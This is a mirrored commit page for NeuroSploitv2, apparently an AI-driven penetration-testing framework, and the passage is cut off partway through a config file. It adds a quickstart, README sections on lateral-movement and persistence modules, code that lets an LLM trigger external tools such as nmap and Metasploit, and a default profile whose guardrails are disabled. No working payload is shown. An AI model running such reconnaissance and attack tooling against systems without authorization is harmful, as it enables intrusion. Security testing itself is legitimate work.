mirror of
https://github.com/CyberSecurityUP/NeuroSploit.git
synced 2026-02-12 14:02:45 +00:00
Add files via upload
This commit is contained in:
334
QUICKSTART.md
Normal file
334
QUICKSTART.md
Normal file
@@ -0,0 +1,334 @@
|
|||||||
|
# NeuroSploitv2 - Quick Start Guide
|
||||||
|
|
||||||
|
## 🚀 Fast Track Setup (5 minutes)
|
||||||
|
|
||||||
|
### 1. Install Dependencies
|
||||||
|
```bash
|
||||||
|
pip install -r requirements.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2. Set Up API Keys (Choose One)
|
||||||
|
|
||||||
|
#### Option A: Using Gemini (Free Tier Available)
|
||||||
|
```bash
|
||||||
|
export GEMINI_API_KEY="your_gemini_api_key_here"
|
||||||
|
```
|
||||||
|
Get your key at: https://makersuite.google.com/app/apikey
|
||||||
|
|
||||||
|
#### Option B: Using LM Studio (Fully Local, No API Key)
|
||||||
|
```bash
|
||||||
|
# Download and install LM Studio from: https://lmstudio.ai/
|
||||||
|
# Start LM Studio and load a model
|
||||||
|
# Start the local server on port 1234
|
||||||
|
|
||||||
|
# Update config/config.json:
|
||||||
|
{
|
||||||
|
"llm": {
|
||||||
|
"default_profile": "lmstudio_default"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Option C: Using Ollama (Fully Local, No API Key)
|
||||||
|
```bash
|
||||||
|
# Install Ollama: https://ollama.ai/
|
||||||
|
ollama pull llama3:8b
|
||||||
|
ollama serve
|
||||||
|
|
||||||
|
# Update config/config.json:
|
||||||
|
{
|
||||||
|
"llm": {
|
||||||
|
"default_profile": "ollama_llama3_default"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3. Test Installation
|
||||||
|
```bash
|
||||||
|
# List available agents
|
||||||
|
python neurosploit.py --list-agents
|
||||||
|
|
||||||
|
# List available LLM profiles
|
||||||
|
python neurosploit.py --list-profiles
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 📝 Basic Usage Examples
|
||||||
|
|
||||||
|
### Example 1: OSINT Reconnaissance
|
||||||
|
```bash
|
||||||
|
python neurosploit.py \
|
||||||
|
--agent-role bug_bounty_hunter \
|
||||||
|
--input "Perform OSINT reconnaissance on example.com"
|
||||||
|
```
|
||||||
|
|
||||||
|
**What it does:**
|
||||||
|
- Uses OSINT Collector to gather public information
|
||||||
|
- Resolves IP addresses
|
||||||
|
- Detects web technologies
|
||||||
|
- Generates email patterns
|
||||||
|
- Identifies potential social media accounts
|
||||||
|
|
||||||
|
### Example 2: Subdomain Enumeration
|
||||||
|
```bash
|
||||||
|
python neurosploit.py \
|
||||||
|
--agent-role pentest_generalist \
|
||||||
|
--input "Find all subdomains for example.com"
|
||||||
|
```
|
||||||
|
|
||||||
|
**What it does:**
|
||||||
|
- Queries Certificate Transparency logs
|
||||||
|
- Brute-forces common subdomain names
|
||||||
|
- Validates discovered subdomains via DNS
|
||||||
|
|
||||||
|
### Example 3: DNS Enumeration
|
||||||
|
```bash
|
||||||
|
python neurosploit.py \
|
||||||
|
--agent-role pentest_generalist \
|
||||||
|
--input "Enumerate all DNS records for example.com"
|
||||||
|
```
|
||||||
|
|
||||||
|
**What it does:**
|
||||||
|
- Discovers A records (IPv4)
|
||||||
|
- Discovers AAAA records (IPv6)
|
||||||
|
- Finds MX records (mail servers)
|
||||||
|
- Identifies NS records (name servers)
|
||||||
|
- Extracts TXT records
|
||||||
|
|
||||||
|
### Example 4: Interactive Mode
|
||||||
|
```bash
|
||||||
|
python neurosploit.py -i
|
||||||
|
```
|
||||||
|
|
||||||
|
**Commands available:**
|
||||||
|
```
|
||||||
|
> list_roles
|
||||||
|
> run_agent pentest_generalist "scan example.com"
|
||||||
|
> config
|
||||||
|
> exit
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🧪 Testing the New Features
|
||||||
|
|
||||||
|
### Test 1: OSINT Collector
|
||||||
|
```python
|
||||||
|
python3 << 'EOF'
|
||||||
|
from tools.recon.osint_collector import OSINTCollector
|
||||||
|
|
||||||
|
collector = OSINTCollector({})
|
||||||
|
results = collector.collect("google.com")
|
||||||
|
|
||||||
|
print("IP Addresses:", results['ip_addresses'])
|
||||||
|
print("Technologies:", results['technologies'])
|
||||||
|
print("Email Patterns:", results['email_patterns'][:3])
|
||||||
|
print("Social Media:", results['social_media'])
|
||||||
|
EOF
|
||||||
|
```
|
||||||
|
|
||||||
|
**Expected Output:**
|
||||||
|
```
|
||||||
|
IP Addresses: ['142.250.xxx.xxx', ...]
|
||||||
|
Technologies: {'server': 'gws', 'status_code': 200, ...}
|
||||||
|
Email Patterns: ['info@google.com', 'contact@google.com', ...]
|
||||||
|
Social Media: {'twitter': 'https://twitter.com/google', ...}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Test 2: Subdomain Finder
|
||||||
|
```python
|
||||||
|
python3 << 'EOF'
|
||||||
|
from tools.recon.subdomain_finder import SubdomainFinder
|
||||||
|
|
||||||
|
finder = SubdomainFinder({})
|
||||||
|
subdomains = finder.find("github.com")
|
||||||
|
|
||||||
|
print(f"Found {len(subdomains)} subdomains")
|
||||||
|
print("First 5:", subdomains[:5])
|
||||||
|
EOF
|
||||||
|
```
|
||||||
|
|
||||||
|
**Expected Output:**
|
||||||
|
```
|
||||||
|
Found 15+ subdomains
|
||||||
|
First 5: ['api.github.com', 'www.github.com', 'gist.github.com', ...]
|
||||||
|
```
|
||||||
|
|
||||||
|
### Test 3: DNS Enumerator
|
||||||
|
```python
|
||||||
|
python3 << 'EOF'
|
||||||
|
from tools.recon.dns_enumerator import DNSEnumerator
|
||||||
|
|
||||||
|
enumerator = DNSEnumerator({})
|
||||||
|
records = enumerator.enumerate("github.com")
|
||||||
|
|
||||||
|
print("A Records:", records['records']['A'])
|
||||||
|
print("MX Records:", records['records']['MX'])
|
||||||
|
print("NS Records:", records['records']['NS'])
|
||||||
|
EOF
|
||||||
|
```
|
||||||
|
|
||||||
|
### Test 4: LM Studio Integration
|
||||||
|
```bash
|
||||||
|
# 1. Start LM Studio server
|
||||||
|
# 2. Load a model (e.g., Llama 3, Mistral, Phi-3)
|
||||||
|
# 3. Start the server
|
||||||
|
|
||||||
|
# 4. Test connection
|
||||||
|
curl http://localhost:1234/v1/models
|
||||||
|
|
||||||
|
# 5. Run NeuroSploit with LM Studio
|
||||||
|
python neurosploit.py \
|
||||||
|
--llm-profile lmstudio_default \
|
||||||
|
--agent-role pentest_generalist \
|
||||||
|
--input "Explain the OWASP Top 10"
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🔧 Testing Tool Chaining
|
||||||
|
|
||||||
|
Create a test script to see tool chaining in action:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python neurosploit.py -i
|
||||||
|
```
|
||||||
|
|
||||||
|
Then enter:
|
||||||
|
```
|
||||||
|
run_agent pentest_generalist "Perform complete reconnaissance: DNS enumeration, subdomain discovery, and OSINT collection for example.com"
|
||||||
|
```
|
||||||
|
|
||||||
|
The AI will automatically chain multiple tools:
|
||||||
|
1. DNS Enumerator → finds DNS records
|
||||||
|
2. Subdomain Finder → discovers subdomains
|
||||||
|
3. OSINT Collector → gathers intelligence
|
||||||
|
|
||||||
|
All results are combined and analyzed by the AI.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 📊 View Results
|
||||||
|
|
||||||
|
### JSON Results
|
||||||
|
```bash
|
||||||
|
ls -lt results/
|
||||||
|
cat results/campaign_*.json | jq '.'
|
||||||
|
```
|
||||||
|
|
||||||
|
### HTML Reports
|
||||||
|
```bash
|
||||||
|
ls -lt reports/
|
||||||
|
open reports/report_*.html # macOS
|
||||||
|
xdg-open reports/report_*.html # Linux
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🛠️ Troubleshooting
|
||||||
|
|
||||||
|
### Issue: "No module named 'anthropic'"
|
||||||
|
```bash
|
||||||
|
pip install anthropic openai google-generativeai requests
|
||||||
|
```
|
||||||
|
|
||||||
|
### Issue: LM Studio Connection Error
|
||||||
|
```bash
|
||||||
|
# Verify LM Studio server is running
|
||||||
|
curl http://localhost:1234/v1/models
|
||||||
|
|
||||||
|
# Check logs in LM Studio console
|
||||||
|
# Ensure model is loaded and server is started
|
||||||
|
```
|
||||||
|
|
||||||
|
### Issue: "Tool not found"
|
||||||
|
Edit `config/config.json` and update tool paths:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"tools": {
|
||||||
|
"nmap": "/usr/bin/nmap",
|
||||||
|
"metasploit": "/usr/bin/msfconsole"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Issue: DNS Enumeration Shows Limited Results
|
||||||
|
```bash
|
||||||
|
# Install nslookup
|
||||||
|
# macOS: Already included
|
||||||
|
# Linux: sudo apt-get install dnsutils
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🎯 Advanced Examples
|
||||||
|
|
||||||
|
### Custom Agent Workflow
|
||||||
|
```bash
|
||||||
|
# 1. Web Application Pentest
|
||||||
|
python neurosploit.py \
|
||||||
|
--agent-role owasp_expert \
|
||||||
|
--input "Analyze https://testphp.vulnweb.com for OWASP Top 10 vulnerabilities"
|
||||||
|
|
||||||
|
# 2. Network Reconnaissance
|
||||||
|
python neurosploit.py \
|
||||||
|
--agent-role red_team_agent \
|
||||||
|
--input "Plan a network penetration test for 192.168.1.0/24"
|
||||||
|
|
||||||
|
# 3. Malware Analysis
|
||||||
|
python neurosploit.py \
|
||||||
|
--agent-role malware_analyst \
|
||||||
|
--input "Analyze this malware sample: /path/to/sample.exe"
|
||||||
|
```
|
||||||
|
|
||||||
|
### Using Different LLM Profiles
|
||||||
|
```bash
|
||||||
|
# High-quality reasoning with Claude
|
||||||
|
python neurosploit.py \
|
||||||
|
--llm-profile claude_opus_default \
|
||||||
|
--agent-role exploit_expert \
|
||||||
|
--input "Generate an exploitation strategy for CVE-2024-XXXX"
|
||||||
|
|
||||||
|
# Fast local processing with Ollama
|
||||||
|
python neurosploit.py \
|
||||||
|
--llm-profile ollama_llama3_default \
|
||||||
|
--agent-role bug_bounty_hunter \
|
||||||
|
--input "Quick scan of example.com"
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 📚 Next Steps
|
||||||
|
|
||||||
|
1. **Read the Full Documentation:** Check `README.md`
|
||||||
|
2. **Explore Agent Prompts:** Look at `prompts/md_library/`
|
||||||
|
3. **Review Improvements:** Read `IMPROVEMENTS.md`
|
||||||
|
4. **Customize Config:** Edit `config/config.json`
|
||||||
|
5. **Create Custom Agents:** Use `custom_agents/example_agent.py` as template
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🔐 Important Security Notes
|
||||||
|
|
||||||
|
1. **Always get authorization** before testing systems
|
||||||
|
2. **Use in isolated environments** for learning
|
||||||
|
3. **Never test production systems** without permission
|
||||||
|
4. **Review all AI-generated commands** before execution
|
||||||
|
5. **Keep API keys secure** (use environment variables)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 💡 Pro Tips
|
||||||
|
|
||||||
|
1. **Interactive Mode is Fastest:** Use `-i` for quick iterations
|
||||||
|
2. **Tool Chaining Saves Time:** Let AI orchestrate multiple tools
|
||||||
|
3. **Local LLMs are Free:** Use LM Studio or Ollama for unlimited usage
|
||||||
|
4. **Results are Logged:** Check `results/` and `reports/` directories
|
||||||
|
5. **Custom Prompts:** Modify `prompts/md_library/` for specialized behavior
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
**Happy Pentesting! 🎯**
|
||||||
|
|
||||||
|
For more help: `python neurosploit.py --help`
|
||||||
110
README.md
110
README.md
@@ -9,12 +9,21 @@ NeuroSploitv2 is an advanced, AI-powered penetration testing framework designed
|
|||||||
## ✨ Features
|
## ✨ Features
|
||||||
|
|
||||||
* **Modular Agent Roles:** Execute specialized AI agents tailored for specific security tasks (e.g., Red Team, Blue Team, Bug Bounty Hunter, Malware Analyst).
|
* **Modular Agent Roles:** Execute specialized AI agents tailored for specific security tasks (e.g., Red Team, Blue Team, Bug Bounty Hunter, Malware Analyst).
|
||||||
* **Flexible LLM Integration:** Supports multiple LLM providers including Gemini, Claude, GPT (OpenAI), and Ollama, configurable via profiles.
|
* **Flexible LLM Integration:** Supports multiple LLM providers including Gemini, Claude, GPT (OpenAI), Ollama, and LM Studio, configurable via profiles.
|
||||||
|
* **LM Studio Support:** Full integration with LM Studio for local model execution with OpenAI-compatible API.
|
||||||
* **Granular LLM Profiles:** Define distinct LLM configurations for each agent role, controlling parameters like model, temperature, token limits, caching, and context.
|
* **Granular LLM Profiles:** Define distinct LLM configurations for each agent role, controlling parameters like model, temperature, token limits, caching, and context.
|
||||||
* **Markdown-based Prompts:** Agents utilize dynamic Markdown prompt templates, allowing for context-aware and highly specific instructions.
|
* **Markdown-based Prompts:** Agents utilize dynamic Markdown prompt templates, allowing for context-aware and highly specific instructions.
|
||||||
* **Hallucination Mitigation:** Implements strategies like grounding, self-reflection, and consistency checks to reduce LLM hallucinations and ensure focused output.
|
* **Hallucination Mitigation:** Implements strategies like grounding, self-reflection, and consistency checks to reduce LLM hallucinations and ensure focused output.
|
||||||
* **Guardrails:** Basic guardrails (e.g., keyword filtering, length checks) are in place to enhance safety and ethical adherence of LLM-generated content.
|
* **Guardrails:** Basic guardrails (e.g., keyword filtering, length checks) are in place to enhance safety and ethical adherence of LLM-generated content.
|
||||||
* **Extensible Tooling:** Integrate and manage external security tools (Nmap, Metasploit, Subfinder, Nuclei, etc.) directly through configuration.
|
* **Extensible Tooling:** Integrate and manage external security tools (Nmap, Metasploit, Subfinder, Nuclei, etc.) directly through configuration.
|
||||||
|
* **Tool Chaining:** Execute multiple tools in sequence for complex reconnaissance and attack workflows.
|
||||||
|
* **Built-in Reconnaissance Tools:**
|
||||||
|
* **OSINT Collector:** Gather intelligence from public sources (IP resolution, technology detection, email patterns, social media)
|
||||||
|
* **Subdomain Finder:** Discover subdomains using Certificate Transparency logs and DNS brute-forcing
|
||||||
|
* **DNS Enumerator:** Enumerate DNS records (A, AAAA, MX, NS, TXT, CNAME)
|
||||||
|
* **Lateral Movement Modules:** SMB and SSH-based lateral movement techniques
|
||||||
|
* **Persistence Mechanisms:** Cron-based (Linux) and Registry-based (Windows) persistence modules
|
||||||
|
* **Enhanced Security:** Secure subprocess execution with input validation, timeout protection, and no shell injection vulnerabilities
|
||||||
* **Structured Reporting:** Generates detailed JSON campaign results and user-friendly HTML reports.
|
* **Structured Reporting:** Generates detailed JSON campaign results and user-friendly HTML reports.
|
||||||
* **Interactive Mode:** An intuitive command-line interface for direct interaction and control over agent execution.
|
* **Interactive Mode:** An intuitive command-line interface for direct interaction and control over agent execution.
|
||||||
|
|
||||||
@@ -22,7 +31,7 @@ NeuroSploitv2 is an advanced, AI-powered penetration testing framework designed
|
|||||||
|
|
||||||
1. **Clone the repository:**
|
1. **Clone the repository:**
|
||||||
```bash
|
```bash
|
||||||
git clone https://github.com/CyberSecurityUP/NeuroSploitv2.git
|
git clone https://github.com/your-repo/NeuroSploitv2.git
|
||||||
cd NeuroSploitv2
|
cd NeuroSploitv2
|
||||||
```
|
```
|
||||||
|
|
||||||
@@ -50,7 +59,10 @@ NeuroSploitv2 is an advanced, AI-powered penetration testing framework designed
|
|||||||
export OPENAI_API_KEY="your_openai_api_key"
|
export OPENAI_API_KEY="your_openai_api_key"
|
||||||
export GEMINI_API_KEY="your_gemini_api_key"
|
export GEMINI_API_KEY="your_gemini_api_key"
|
||||||
```
|
```
|
||||||
For Ollama, ensure your local Ollama server is running.
|
|
||||||
|
5. **Configure Local LLM Servers (Optional):**
|
||||||
|
* **Ollama:** Ensure your local Ollama server is running on `http://localhost:11434`
|
||||||
|
* **LM Studio:** Start LM Studio server on `http://localhost:1234` with your preferred model loaded
|
||||||
|
|
||||||
## ⚙️ Configuration
|
## ⚙️ Configuration
|
||||||
|
|
||||||
@@ -99,7 +111,7 @@ This section defines your LLM profiles.
|
|||||||
|
|
||||||
* `default_profile`: The name of the LLM profile to use by default.
|
* `default_profile`: The name of the LLM profile to use by default.
|
||||||
* `profiles`: A dictionary where each key is a profile name and its value is an object containing:
|
* `profiles`: A dictionary where each key is a profile name and its value is an object containing:
|
||||||
* `provider`: `ollama`, `claude`, `gpt`, `gemini`, `gemini-cli`.
|
* `provider`: `ollama`, `claude`, `gpt`, `gemini`, `gemini-cli`, `lmstudio`.
|
||||||
* `model`: Specific model identifier (e.g., `llama3:8b`, `gemini-pro`, `claude-3-opus-20240229`, `gpt-4o`).
|
* `model`: Specific model identifier (e.g., `llama3:8b`, `gemini-pro`, `claude-3-opus-20240229`, `gpt-4o`).
|
||||||
* `api_key`: API key or environment variable placeholder (e.g., `${GEMINI_API_KEY}`).
|
* `api_key`: API key or environment variable placeholder (e.g., `${GEMINI_API_KEY}`).
|
||||||
* `temperature`: Controls randomness in output (0.0-1.0).
|
* `temperature`: Controls randomness in output (0.0-1.0).
|
||||||
@@ -223,3 +235,93 @@ Contributions are welcome! Please feel free to fork the repository, open issues,
|
|||||||
## 📄 License
|
## 📄 License
|
||||||
|
|
||||||
This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.
|
This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.
|
||||||
|
|
||||||
|
## 🔧 Built-in Tools
|
||||||
|
|
||||||
|
NeuroSploitv2 includes several built-in reconnaissance and post-exploitation tools:
|
||||||
|
|
||||||
|
### Reconnaissance Tools
|
||||||
|
* **OSINT Collector** (`tools/recon/osint_collector.py`):
|
||||||
|
* IP address resolution
|
||||||
|
* Technology stack detection
|
||||||
|
* Email pattern generation
|
||||||
|
* Social media account discovery
|
||||||
|
* Web framework identification
|
||||||
|
|
||||||
|
* **Subdomain Finder** (`tools/recon/subdomain_finder.py`):
|
||||||
|
* Certificate Transparency log queries
|
||||||
|
* Common subdomain brute-forcing
|
||||||
|
* DNS resolution validation
|
||||||
|
|
||||||
|
* **DNS Enumerator** (`tools/recon/dns_enumerator.py`):
|
||||||
|
* A, AAAA, MX, NS, TXT, CNAME record enumeration
|
||||||
|
* IPv4 and IPv6 resolution
|
||||||
|
* Mail server discovery
|
||||||
|
|
||||||
|
### Lateral Movement
|
||||||
|
* **SMB Lateral** (`tools/lateral_movement/smb_lateral.py`):
|
||||||
|
* Share enumeration framework
|
||||||
|
* Pass-the-hash preparation
|
||||||
|
* Remote command execution templates
|
||||||
|
|
||||||
|
* **SSH Lateral** (`tools/lateral_movement/ssh_lateral.py`):
|
||||||
|
* SSH accessibility checks
|
||||||
|
* Key enumeration paths
|
||||||
|
* SSH tunnel creation helpers
|
||||||
|
|
||||||
|
### Persistence Modules
|
||||||
|
* **Cron Persistence** (`tools/persistence/cron_persistence.py`):
|
||||||
|
* Cron entry generation
|
||||||
|
* Persistence location suggestions
|
||||||
|
* Reverse shell payload templates
|
||||||
|
|
||||||
|
* **Registry Persistence** (`tools/persistence/registry_persistence.py`):
|
||||||
|
* Windows registry key enumeration
|
||||||
|
* Registry command generation
|
||||||
|
* Startup persistence mechanisms
|
||||||
|
|
||||||
|
## 🛡️ Security Features
|
||||||
|
|
||||||
|
* **Secure Tool Execution:** All external tools are executed with `shlex` argument parsing and no shell injection vulnerabilities
|
||||||
|
* **Input Validation:** Tool paths and arguments are validated before execution
|
||||||
|
* **Timeout Protection:** 60-second timeout on all tool executions to prevent hanging
|
||||||
|
* **Permission System:** Agent-based tool access control
|
||||||
|
* **Error Handling:** Comprehensive error handling with detailed logging
|
||||||
|
|
||||||
|
## 🔗 Tool Chaining
|
||||||
|
|
||||||
|
NeuroSploitv2 supports executing multiple tools in sequence for complex workflows:
|
||||||
|
|
||||||
|
```python
|
||||||
|
# LLM can request multiple tools
|
||||||
|
[TOOL] nmap: -sV -sC target.com
|
||||||
|
[TOOL] subfinder: -d target.com
|
||||||
|
[TOOL] nuclei: -l subdomains.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
The framework will execute each tool in order and provide results to the LLM for analysis.
|
||||||
|
|
||||||
|
## 🙏 Acknowledgements
|
||||||
|
|
||||||
|
NeuroSploitv2 leverages the power of various Large Language Models and open-source security tools to deliver its capabilities.
|
||||||
|
|
||||||
|
### LLM Providers
|
||||||
|
* Google Gemini
|
||||||
|
* Anthropic Claude
|
||||||
|
* OpenAI GPT
|
||||||
|
* Ollama
|
||||||
|
* LM Studio
|
||||||
|
|
||||||
|
### Security Tools
|
||||||
|
* Nmap
|
||||||
|
* Metasploit
|
||||||
|
* Burp Suite
|
||||||
|
* SQLMap
|
||||||
|
* Hydra
|
||||||
|
* Subfinder
|
||||||
|
* Nuclei
|
||||||
|
|
||||||
|
## ⚠️ Disclaimer
|
||||||
|
|
||||||
|
NeuroSploitv2 is designed for authorized security testing and educational purposes only. Always ensure you have explicit permission before testing any systems. Unauthorized access to computer systems is illegal.
|
||||||
|
```
|
||||||
@@ -3,6 +3,7 @@ import logging
|
|||||||
from typing import Dict, Any, List, Optional
|
from typing import Dict, Any, List, Optional
|
||||||
import re
|
import re
|
||||||
import subprocess
|
import subprocess
|
||||||
|
import shlex
|
||||||
|
|
||||||
from core.llm_manager import LLMManager
|
from core.llm_manager import LLMManager
|
||||||
|
|
||||||
@@ -94,19 +95,134 @@ class BaseAgent:
|
|||||||
return {"agent_name": self.agent_name, "input": user_input, "llm_response": llm_response_text}
|
return {"agent_name": self.agent_name, "input": user_input, "llm_response": llm_response_text}
|
||||||
|
|
||||||
def _parse_llm_response(self, response: str) -> (Optional[str], Optional[str]):
|
def _parse_llm_response(self, response: str) -> (Optional[str], Optional[str]):
|
||||||
"""Parses the LLM response to find a tool to use."""
|
"""
|
||||||
match = re.search(r"\[TOOL\]\s*(\w+)\s*:\s*(.*)", response)
|
Parses the LLM response to find a tool to use.
|
||||||
|
Supports both single tool format and multiple tool chain format.
|
||||||
|
"""
|
||||||
|
# Single tool format: [TOOL] toolname: args
|
||||||
|
match = re.search(r"\[TOOL\]\s*(\w+)\s*:\s*(.*?)(?:\n|$)", response, re.MULTILINE)
|
||||||
if match:
|
if match:
|
||||||
return match.group(1), match.group(2)
|
return match.group(1), match.group(2).strip()
|
||||||
return None, None
|
return None, None
|
||||||
|
|
||||||
|
def _parse_all_tools(self, response: str) -> List[tuple]:
|
||||||
|
"""
|
||||||
|
Parse multiple tool calls from LLM response for tool chaining.
|
||||||
|
Returns list of (tool_name, tool_args) tuples.
|
||||||
|
"""
|
||||||
|
tools = []
|
||||||
|
pattern = r"\[TOOL\]\s*(\w+)\s*:\s*(.*?)(?=\[TOOL\]|$)"
|
||||||
|
matches = re.finditer(pattern, response, re.MULTILINE | re.DOTALL)
|
||||||
|
|
||||||
|
for match in matches:
|
||||||
|
tool_name = match.group(1)
|
||||||
|
tool_args = match.group(2).strip()
|
||||||
|
tools.append((tool_name, tool_args))
|
||||||
|
|
||||||
|
logger.debug(f"Parsed {len(tools)} tool calls from LLM response")
|
||||||
|
return tools
|
||||||
|
|
||||||
|
def execute_tool_chain(self, tools: List[tuple]) -> List[Dict]:
|
||||||
|
"""
|
||||||
|
Execute multiple tools in sequence (tool chaining).
|
||||||
|
|
||||||
|
Args:
|
||||||
|
tools: List of (tool_name, tool_args) tuples
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
List[Dict]: Results from each tool execution
|
||||||
|
"""
|
||||||
|
results = []
|
||||||
|
|
||||||
|
for tool_name, tool_args in tools:
|
||||||
|
logger.info(f"Executing tool in chain: {tool_name}")
|
||||||
|
|
||||||
|
# Check if tool is allowed for this agent
|
||||||
|
if tool_name not in self.tools_allowed and self.tools_allowed:
|
||||||
|
logger.warning(f"Tool '{tool_name}' not allowed for agent {self.agent_name}")
|
||||||
|
results.append({
|
||||||
|
"tool": tool_name,
|
||||||
|
"status": "denied",
|
||||||
|
"output": f"Tool '{tool_name}' not in allowed tools list"
|
||||||
|
})
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Check if tool exists in config
|
||||||
|
if tool_name not in self.config.get('tools', {}):
|
||||||
|
logger.warning(f"Tool '{tool_name}' not found in configuration")
|
||||||
|
results.append({
|
||||||
|
"tool": tool_name,
|
||||||
|
"status": "not_found",
|
||||||
|
"output": f"Tool '{tool_name}' not configured"
|
||||||
|
})
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Execute the tool
|
||||||
|
tool_path = self.config['tools'][tool_name]
|
||||||
|
output = self._execute_tool(tool_path, tool_args)
|
||||||
|
|
||||||
|
results.append({
|
||||||
|
"tool": tool_name,
|
||||||
|
"args": tool_args,
|
||||||
|
"status": "executed",
|
||||||
|
"output": output
|
||||||
|
})
|
||||||
|
|
||||||
|
return results
|
||||||
|
|
||||||
def _execute_tool(self, tool_path: str, args: str) -> str:
|
def _execute_tool(self, tool_path: str, args: str) -> str:
|
||||||
"""Executes a tool and returns the output."""
|
"""
|
||||||
|
Executes a tool safely and returns the output.
|
||||||
|
Uses shlex for safe argument parsing and includes timeout protection.
|
||||||
|
"""
|
||||||
try:
|
try:
|
||||||
result = subprocess.run(f"{tool_path} {args}", shell=True, capture_output=True, text=True)
|
# Sanitize and validate tool path
|
||||||
return result.stdout + result.stderr
|
if not tool_path or '..' in tool_path:
|
||||||
|
return f"[ERROR] Invalid tool path: {tool_path}"
|
||||||
|
|
||||||
|
# Parse arguments safely using shlex
|
||||||
|
try:
|
||||||
|
args_list = shlex.split(args) if args else []
|
||||||
|
except ValueError as e:
|
||||||
|
return f"[ERROR] Invalid arguments: {e}"
|
||||||
|
|
||||||
|
# Build command list (no shell=True for security)
|
||||||
|
cmd = [tool_path] + args_list
|
||||||
|
|
||||||
|
logger.info(f"Executing tool: {' '.join(cmd)}")
|
||||||
|
|
||||||
|
# Execute with timeout (60 seconds default)
|
||||||
|
result = subprocess.run(
|
||||||
|
cmd,
|
||||||
|
capture_output=True,
|
||||||
|
text=True,
|
||||||
|
timeout=60,
|
||||||
|
shell=False # Security: never use shell=True
|
||||||
|
)
|
||||||
|
|
||||||
|
# Combine stdout and stderr
|
||||||
|
output = ""
|
||||||
|
if result.stdout:
|
||||||
|
output += f"[STDOUT]\n{result.stdout}\n"
|
||||||
|
if result.stderr:
|
||||||
|
output += f"[STDERR]\n{result.stderr}\n"
|
||||||
|
if result.returncode != 0:
|
||||||
|
output += f"[EXIT_CODE] {result.returncode}\n"
|
||||||
|
|
||||||
|
return output if output else "[NO_OUTPUT]"
|
||||||
|
|
||||||
|
except subprocess.TimeoutExpired:
|
||||||
|
logger.error(f"Tool execution timeout: {tool_path}")
|
||||||
|
return f"[ERROR] Tool execution timeout after 60 seconds"
|
||||||
|
except FileNotFoundError:
|
||||||
|
logger.error(f"Tool not found: {tool_path}")
|
||||||
|
return f"[ERROR] Tool not found at path: {tool_path}"
|
||||||
|
except PermissionError:
|
||||||
|
logger.error(f"Permission denied executing: {tool_path}")
|
||||||
|
return f"[ERROR] Permission denied for tool: {tool_path}"
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
return f"Error executing tool: {e}"
|
logger.error(f"Unexpected error executing tool: {e}")
|
||||||
|
return f"[ERROR] Unexpected error: {str(e)}"
|
||||||
|
|
||||||
def _ask_for_permission(self, message: str) -> bool:
|
def _ask_for_permission(self, message: str) -> bool:
|
||||||
"""Asks the user for permission."""
|
"""Asks the user for permission."""
|
||||||
|
|||||||
@@ -1,7 +1,21 @@
|
|||||||
{
|
{
|
||||||
"llm": {
|
"llm": {
|
||||||
"default_profile": "gemini_pro_default",
|
"default_profile": "ollama_whiterabbit",
|
||||||
"profiles": {
|
"profiles": {
|
||||||
|
"ollama_whiterabbit": {
|
||||||
|
"provider": "ollama",
|
||||||
|
"model": "lazarevtill/Llama-3-WhiteRabbitNeo-8B-v2.0:q4_0",
|
||||||
|
"api_key": "",
|
||||||
|
"temperature": 0.8,
|
||||||
|
"max_tokens": 4096,
|
||||||
|
"input_token_limit": 8000,
|
||||||
|
"output_token_limit": 4000,
|
||||||
|
"cache_enabled": false,
|
||||||
|
"search_context_level": "high",
|
||||||
|
"pdf_support_enabled": false,
|
||||||
|
"guardrails_enabled": false,
|
||||||
|
"hallucination_mitigation_strategy": null
|
||||||
|
},
|
||||||
"ollama_llama3_default": {
|
"ollama_llama3_default": {
|
||||||
"provider": "ollama",
|
"provider": "ollama",
|
||||||
"model": "llama3:8b",
|
"model": "llama3:8b",
|
||||||
@@ -57,6 +71,20 @@
|
|||||||
"pdf_support_enabled": true,
|
"pdf_support_enabled": true,
|
||||||
"guardrails_enabled": true,
|
"guardrails_enabled": true,
|
||||||
"hallucination_mitigation_strategy": "consistency_check"
|
"hallucination_mitigation_strategy": "consistency_check"
|
||||||
|
},
|
||||||
|
"lmstudio_default": {
|
||||||
|
"provider": "lmstudio",
|
||||||
|
"model": "local-model",
|
||||||
|
"api_key": "",
|
||||||
|
"temperature": 0.7,
|
||||||
|
"max_tokens": 4096,
|
||||||
|
"input_token_limit": 32000,
|
||||||
|
"output_token_limit": 4096,
|
||||||
|
"cache_enabled": false,
|
||||||
|
"search_context_level": "medium",
|
||||||
|
"pdf_support_enabled": false,
|
||||||
|
"guardrails_enabled": true,
|
||||||
|
"hallucination_mitigation_strategy": null
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
|||||||
154
config/config2.json
Normal file
154
config/config2.json
Normal file
@@ -0,0 +1,154 @@
|
|||||||
|
{
|
||||||
|
"llm": {
|
||||||
|
"default_profile": "gemini_pro_default",
|
||||||
|
"profiles": {
|
||||||
|
